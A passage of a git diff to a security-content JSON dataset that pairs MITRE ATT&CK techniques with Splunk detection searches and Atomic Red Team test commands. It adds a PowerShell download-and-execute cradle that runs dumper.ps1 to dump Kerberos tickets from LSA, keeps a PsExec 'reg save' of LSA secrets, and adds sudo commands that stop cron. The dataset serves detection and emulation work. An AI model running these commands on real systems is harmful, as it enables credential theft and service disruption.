- "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Time Provider Persistence Registry", - "description": "The following analytic detects suspicious modifications to the time provider registry for persistence and autostart. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\" registry path. This activity is significant because such modifications are uncommon and can indicate an attempt to establish persistence on a compromised host. If confirmed malicious, this technique allows an attacker to maintain access and execute code automatically upon system boot, potentially leading to further exploitation and control over the affected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `time_provider_persistence_registry_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.003", - "mitre_attack_technique": "Time Providers", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Boot or Logon Autostart Execution In Startup Folder", - "description": "The following analytic detects the creation of files in the Windows %startup% folder, a common persistence technique. It leverages the Endpoint.Filesystem data model to identify file creation events in this specific directory. This activity is significant because adversaries often use the startup folder to ensure their malicious code executes automatically upon system boot or user logon. If confirmed malicious, this could allow attackers to maintain persistence on the host, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path = \"*\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\*\" by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path Filesystem.process_guid Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_boot_or_logon_autostart_execution_in_startup_folder_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "NjRAT", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process dropped a file in %startup% folder in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Registry Modification for Safe Mode Persistence", - "description": "The following analytic identifies modifications to the SafeBoot registry keys, specifically within the Minimal and Network paths. This detection leverages registry activity logs from endpoint data sources like Sysmon or EDR tools. Monitoring these keys is crucial as adversaries can use them to persist drivers or services in Safe Mode, with Network allowing network connections. If confirmed malicious, this activity could enable attackers to maintain persistence even in Safe Mode, potentially bypassing certain security measures and facilitating further malicious actions.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\*\",\"*SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\*\") by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_key_name Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_modification_for_safe_mode_persistence_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Drivers", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Safeboot registry $registry_path$ was added or modified with a new value $registry_value_name$ on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.001", - "mitre_attack_technique": "Registry Run Keys / Startup Folder", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT39", - "APT41", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Putter Panda", - "RTM", - "Rocke", - "Sidewinder", - "Silence", - "TA2541", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Security Support Provider Reg Query", - "description": "The following analytic identifies command-line activity querying the registry for Security Support Providers (SSPs) related to Local Security Authority (LSA) protection and configuration. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on processes accessing specific LSA registry paths. Monitoring this activity is crucial as adversaries and post-exploitation tools like winpeas may use it to gather information on LSA protections, potentially leading to credential theft. If confirmed malicious, attackers could exploit this to scrape password hashes or plaintext passwords from memory, significantly compromising system security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process = \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\LSA*\" Processes.process IN (\"*RunAsPPL*\" , \"*LsaCfgFlags*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_security_support_provider_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Sneaky Active Directory Persistence Tricks", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process with reg query command line $process$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.005", - "mitre_attack_technique": "Security Support Provider", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Unsigned MS DLL Side-Loading", - "description": "The following analytic identifies potential DLL side-loading instances involving unsigned DLLs mimicking Microsoft signatures. It detects this activity by analyzing Sysmon logs for Event Code 7, where both the `Image` and `ImageLoaded` paths do not match system directories like `system32`, `syswow64`, and `programfiles`. This behavior is significant as adversaries often exploit DLL side-loading to execute malicious code via legitimate processes. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to privilege escalation, persistence, and unauthorized access to sensitive information.", - "search": "`sysmon` EventCode=7 Company=\"Microsoft Corporation\" Signed=false SignatureStatus != Valid NOT (Image IN(\"C:\\\\Windows\\\\System32\\\\*\", \"C:\\\\Windows\\\\SysWow64\\\\*\", \"C:\\\\Program Files*\")) NOT (ImageLoaded IN(\"C:\\\\Windows\\\\System32\\\\*\", \"C:\\\\Windows\\\\SysWow64\\\\*\", \"C:\\\\Program Files*\")) | rex field=Image \"(?.+\\\\\\)\" | rex field=ImageLoaded \"(?.+\\\\\\)\" | where ImageFolderPath = ImageLoadedFolderPath | stats count min(_time) as firstTime max(_time) as lastTime by Image ProcessGuid ImageLoaded user Computer EventCode ImageFolderPath ImageLoadedFolderPath Company Description Product Signed SignatureStatus | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsigned_ms_dll_side_loading_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Image", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $Image$ loading Unsigned $ImageLoaded$ was detected on $dest$.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -169838,7 +139061,8 @@ } ], "command_list": [ - "\"\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y\n" + "\"\\..\\ExternalPayloads\\T1003.004\\bin\\PsExec.exe\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y\n", + "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1') \n" ], "commands": [], "queries": [], @@ -169878,6 +139102,19 @@ "name": "command_prompt", "elevation_required": true } + }, + { + "name": "Dump Kerberos Tickets from LSA using dumper.ps1", + "auto_generated_guid": "2dfa3bff-9a27-46db-ab75-7faefdaca732", + "description": "This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.\nIf the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.\nRef: https://github.com/MzHmO/PowershellKerberos/\nAuthor of dumper.ps1: Michael Zhmaylo (@MzHmO)\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1') \n", + "name": "powershell", + "elevation_required": true + } } ] } @@ -170085,66 +139322,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows LSA Secrets NoLMhash Registry", - "description": "The following analytic detects modifications to the Windows registry related to the Local Security Authority (LSA) NoLMHash setting. It identifies when the registry value is set to 0, indicating that the system will store passwords in the weaker Lan Manager (LM) hash format. This detection leverages registry activity logs from endpoint data sources like Sysmon or EDR tools. Monitoring this activity is crucial as it can indicate attempts to weaken password storage security. If confirmed malicious, this could allow attackers to exploit weaker LM hashes, potentially leading to unauthorized access and credential theft.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\NoLMHash\" Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_lsa_secrets_nolmhash_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Windows LSA Secrets NoLMhash Registry on $dest$ by $user$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.004", - "mitre_attack_technique": "LSA Secrets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Dragonfly", - "Ke3chang", - "Leafminer", - "MuddyWater", - "OilRig", - "Threat Group-3390", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -171127,159 +140304,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Suspicious Process Executed From Container File", - "description": "The following analytic identifies a suspicious process executed from within common container/archive file types such as ZIP, ISO, IMG, and others. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it is a common technique used by adversaries to execute scripts or evade defenses. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*.ZIP\\\\*\",\"*.ISO\\\\*\",\"*.IMG\\\\*\",\"*.CAB\\\\*\",\"*.TAR\\\\*\",\"*.GZ\\\\*\",\"*.RAR\\\\*\",\"*.7Z\\\\*\") AND Processes.action=\"allowed\" by Processes.dest Processes.parent_process Processes.process Processes.user| `drop_dm_object_name(Processes)`| regex process=\"(?i).*(ZIP|ISO|IMG|CAB|TAR|GZ|RAR|7Z)\\\\\\\\.+\\.(BAT|BIN|CAB|CMD|COM|CPL|EX_|EXE|GADGET|INF1|INS|INX||HTM|HTML|ISU|JAR|JOB|JS|JSE|LNK|MSC|MSI|MSP|MST|PAF|PIF|PS1|REG|RGS|SCR|SCT|SHB|SHS|U3P|VB|VBE|VBS|VBSCRIPT|WS|WSF|WSH)\\\"?$\" | rex field=process \"(?i).+\\\\\\\\(?[^\\\\\\]+\\.(ZIP|ISO|IMG|CAB|TAR|GZ|RAR|7Z))\\\\\\\\((.+\\\\\\\\)+)?(?.+\\.(BAT|BIN|CAB|CMD|COM|CPL|EX_|EXE|GADGET|INF1|INS|INX||HTM|HTML|ISU|JAR|JOB|JS|JSE|LNK|MSC|MSI|MSP|MST|PAF|PIF|PS1|REG|RGS|SCR|SCT|SHB|SHS|U3P|VB|VBE|VBS|VBSCRIPT|WS|WSF|WSH))\\\"?$\"| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_executed_from_container_file_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "Remcos", - "Snake Keylogger", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious process $process_name$ was launched from $file_name$ on $dest$.", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.008", - "mitre_attack_technique": "Masquerade File Type", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Volt Typhoon" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -171372,6 +140397,10 @@ "sc.exe stop spooler\n", "net.exe stop spooler\n", "taskkill.exe /f /im spoolsv.exe\n", + "sudo systemctl stop cron\n", + "sudo killall -SIGTERM cron\n", + "sudo kill -SIGTERM $(pgrep cron)\n", + "sudo pkill -SIGTERM ^cron$\n", "quit app \"Microsoft Outlook.app\"" ], "commands": [], @@ -171484,6 +140513,105 @@ "command": "taskkill.exe /f /im #{process_name}\n", "name": "command_prompt" } + }, + { + "name": "Linux - Stop service using systemctl", + "auto_generated_guid": "42e3a5bd-1e45-427f-aa08-2a65fa29a820", + "description": "Stops a specified service using the systemctl command.\nUpon execution, if the specified service was running, it will change to a state of inactive and it can be restarted by running the cleanup command.\nYou can list all available services with following command: \"systemctl list-units --type=service\"\n", + "supported_platforms": [ + "linux" + ], + "input_arguments": { + "service_name": { + "description": "Name of a service to stop", + "type": "string", + "default": "cron" + } + }, + "executor": { + "command": "sudo systemctl stop #{service_name}\n", + "cleanup_command": "sudo systemctl start #{service_name} 2> /dev/null\n", + "name": "sh", + "elevation_required": true + } + }, + { + "name": "Linux - Stop service by killing process using killall", + "auto_generated_guid": "e5d95be6-02ee-4ff1-aebe-cf86013b6189", + "description": "Stops a specified service by sending a SIGTERM signal to the linked process using the killall command.\nUpon execution, if the service's main process was running, it will be terminated.\nIf the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.\nYou can list all available services with following command: \"systemctl list-units --type=service\"\n", + "supported_platforms": [ + "linux" + ], + "input_arguments": { + "process_name": { + "description": "Name of a process to stop", + "type": "string", + "default": "cron" + }, + "service_name": { + "description": "Name of a service to restart", + "type": "string", + "default": "cron" + } + }, + "executor": { + "command": "sudo killall -SIGTERM #{process_name}\n", + "cleanup_command": "sudo systemctl start #{service_name} 2> /dev/null\n", + "name": "sh", + "elevation_required": true + } + }, + { + "name": "Linux - Stop service by killing process using kill", + "auto_generated_guid": "332f4c76-7e96-41a6-8cc2-7361c49db8be", + "description": "Stops a specified service by sending a SIGTERM signal to the linked process using the kill command. Upon execution, if the service's main process was running, it will be terminated.\nIf the service was not running, no process will be found to kill and it can be restarted by running the cleanup command.\nYou can list all available services with following command: \"systemctl list-units --type=service\"\n", + "supported_platforms": [ + "linux" + ], + "input_arguments": { + "process_name": { + "description": "Name of a process to kill", + "type": "string", + "default": "cron" + }, + "service_name": { + "description": "Name of a service to restart", + "type": "string", + "default": "cron" + } + }, + "executor": { + "command": "sudo kill -SIGTERM $(pgrep #{process_name})\n", + "cleanup_command": "sudo systemctl start #{service_name} 2> /dev/null\n", + "name": "sh", + "elevation_required": true + } + }, + { + "name": "Linux - Stop service by killing process using pkill", + "auto_generated_guid": "08b4718f-a8bf-4bb5-a552-294fc5178fea", + "description": "Stops a specified service by sending a SIGTERM signal to the linked process using pkill. This method is effective when multiple instances of the process may be running.\nUpon execution, if any instances of the process were running, they will be terminated. If no instances were running, pkill will not find any processes to kill.\nStopped service can be restarted by running the cleanup command.\nYou can list all available services with following command: \"systemctl list-units --type=service\"\n", + "supported_platforms": [ + "linux" + ], + "input_arguments": { + "process_pattern": { + "description": "Pattern to match the name of the process to kill", + "type": "string", + "default": "^cron$" + }, + "service_name": { + "description": "Name of a service to restart", + "type": "string", + "default": "cron" + } + }, + "executor": { + "command": "sudo pkill -SIGTERM #{process_pattern}\n", + "cleanup_command": "sudo systemctl start #{service_name} 2> /dev/null\n", + "name": "sh", + "elevation_required": true + } } ] } @@ -172125,567 +141253,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Excessive Attempt To Disable Services", - "description": "The following analytic identifies a suspicious series of command-line executions attempting to disable multiple services. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes where \"sc.exe\" is used with parameters like \"config\" or \"Disabled\" within a short time frame. This activity is significant as it may indicate an adversary's attempt to disable security or other critical services to further compromise the system. If confirmed malicious, this could lead to the attacker achieving persistence, evading detection, or disabling security mechanisms, thereby increasing the risk of further exploitation.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"sc.exe\" AND Processes.process=\"*config*\" OR Processes.process=\"*Disabled*\" by Processes.process_name Processes.parent_process_name Processes.dest Processes.user _time span=1m | where count >=4 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_attempt_to_disable_services_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An excessive amount of $process_name$ was executed on $dest$ attempting to disable services.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Excessive Service Stop Attempt", - "description": "The following analytic detects multiple attempts to stop or delete services on a system using `net.exe`, `sc.exe`, or `net1.exe`. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names and command-line executions within a one-minute window. This activity is significant as it may indicate an adversary attempting to disable security or critical services to evade detection and further their objectives. If confirmed malicious, this could lead to the attacker gaining persistence, escalating privileges, or disrupting essential services, thereby compromising the system's security posture.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` OR Processes.process_name = \"sc.exe\" OR Processes.process_name = \"net1.exe\" AND Processes.process=\"*stop*\" OR Processes.process=\"*delete*\" by Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.dest Processes.user _time span=1m | where count >=5 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_service_stop_attempt_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Ransomware", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An excessive amount of $process_name$ was executed on $dest$ attempting to disable services.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Linux Disable Services", - "description": "The following analytic detects attempts to disable a service on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like \"systemctl,\" \"service,\" and \"svcadm\" with commands containing \"disable.\" This activity is significant as adversaries may disable security or critical services to evade detection and facilitate further malicious actions, such as deploying destructive payloads. If confirmed malicious, this could lead to the termination of essential security services, allowing attackers to persist undetected and potentially cause significant damage to the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"systemctl\", \"service\", \"svcadm\") Processes.process = \"* disable*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_disable_services_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to disable services on endpoint $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1489", - "mitre_attack_technique": "Service Stop", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "LAPSUS$", - "Lazarus Group", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Linux Stop Services", - "description": "The following analytic detects attempts to stop or clear a service on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like \"systemctl,\" \"service,\" and \"svcadm\" executing stop commands. This activity is significant as adversaries often terminate security or critical services to disable defenses or disrupt operations, as seen in malware like Industroyer2. If confirmed malicious, this could lead to the disabling of security mechanisms, allowing attackers to persist, escalate privileges, or 